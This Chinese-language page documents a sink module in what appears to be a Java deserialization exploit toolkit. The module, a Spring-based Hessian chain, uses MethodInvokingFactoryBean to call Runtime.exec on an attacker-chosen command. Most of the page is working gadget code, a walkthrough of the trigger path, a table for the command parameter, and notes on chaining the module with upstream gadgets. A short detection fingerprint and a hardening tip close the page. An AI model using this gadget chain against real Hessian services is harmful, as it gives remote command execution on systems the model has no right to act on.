- 类别:hessian 别名:— 优先级:—
- 作者:—
- 依赖:
org.springframework:spring-context
Spring 系 Hessian 链的命令执行 sink。构造一个 StaticListableBeanFactory,其中注册名为 beanName123 的 MethodInvokingFactoryBean,其目标方法预置为 Runtime.getRuntime().exec(cmd)。当上游(SpringAbstractBeanFactoryPointcutAdvisor)在该工厂上 getBean("beanName123") 时,FactoryBean.getObject() 触发方法调用,执行任意命令。
- 入口
tags:HessianSpringChains(承接上游 Spring 入口环在恶意 BeanFactory 上的getBean调用)、END(链终点/sink)。 - 衔接
nextTags:无(本身即 sink)。 excludes:无。
@Param(name="win/linux命令", description="eg: cmd /c calc")
public String cmd = "calc";
private final String beanName = "beanName123";
public Object getObject() throws Exception {
StaticListableBeanFactory beanFactory = new StaticListableBeanFactory();
beanFactory.addBean("beanName123", this.makeBean()); // 注册恶意 FactoryBean
return beanFactory;
}
public Object makeBean() throws Exception {
MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
bean.setSingleton(false);
bean.setTargetObject((Object)Runtime.getRuntime()); // 目标对象 = Runtime
Class<Runtime> cls = Runtime.class;
Method method = cls.getMethod("exec", String[].class); // 目标方法 = exec(String[])
Reflections.setFieldValue(bean, "methodObject", method);
Reflections.setFieldValue(bean, "beanClassLoader", null);
bean.setArguments(new Object[]{new String[]{this.cmd}}); // 参数 = {cmd}
return bean;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.BEAN_NAME_KEY, "beanName123"); // 告知上游要 getBean 的名字
return this.getObject();
}逐段解释:
invoke是 sink,不再chain.doCreate。它向GadgetContext写入BEAN_NAME_KEY = "beanName123",让上游 SpringAbstractBeanFactoryPointcutAdvisor 把adviceBeanName设为同名,从而后续在本工厂上按此名取 bean。getObject返回StaticListableBeanFactory——一个可手动addBean的简单 BeanFactory,正好作为上游 advisor 的beanFactory字段。里面注册的是makeBean()造出的MethodInvokingFactoryBean。makeBean是核心:MethodInvokingFactoryBean是 Spring 提供的「调用任意方法并把返回值当 bean」的工厂 bean。这里把targetObject设为Runtime.getRuntime()、反射设置内部字段methodObject为Runtime.exec(String[])、arguments为{ {cmd} }。setSingleton(false)确保每次getBean都重新执行,beanClassLoader置null规避初始化分支。- 触发链:上游
equals → getAdvice → beanFactory.getBean("beanName123")→StaticListableBeanFactory发现该 bean 是FactoryBean→ 调用其getObject()→MethodInvokingFactoryBean执行预置的Runtime.getRuntime().exec(cmd),完成 RCE。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
win/linux命令 | 要执行的命令,如 cmd /c calc |
calc |
— |
cmd以单元素String[]传入Runtime.exec(String[]),即整串作为argv[0];Windows 下需形如cmd /c calc,Linux 下常配bash -c ...语义的等价形式。
- 仅需
spring-context(MethodInvokingFactoryBean、StaticListableBeanFactory均在其中),依赖面小、通用性好。 - 必须与提供「在恶意 BeanFactory 上 getBean」的 Spring 入口环配合(
HessianSpringChains标签对接)。 MethodInvokingFactoryBean走反射调用,不受目标方法可见性限制,Runtime.exec之外亦可改造为调用其它静态/实例方法。
- Spring 命令执行(
[SpringAbstractBeanFactoryPointcutAdvisor, SpringExec])
- 上游(
tags=HessianSpringChains):SpringAbstractBeanFactoryPointcutAdvisor、SpringPartiallyComparableAdvisorHolder。 - 同族 sink:SpringJndi1(JNDI 型 sink,替换命令执行为 JNDI 注入)。
- 类指纹:Hessian 流量中出现
StaticListableBeanFactory+MethodInvokingFactoryBean(尤其targetObject为Runtime)即高危。 - 加固:Hessian 反序列化启用类白名单,禁止
MethodInvokingFactoryBean等可反射调用任意方法的工厂 bean 反序列化。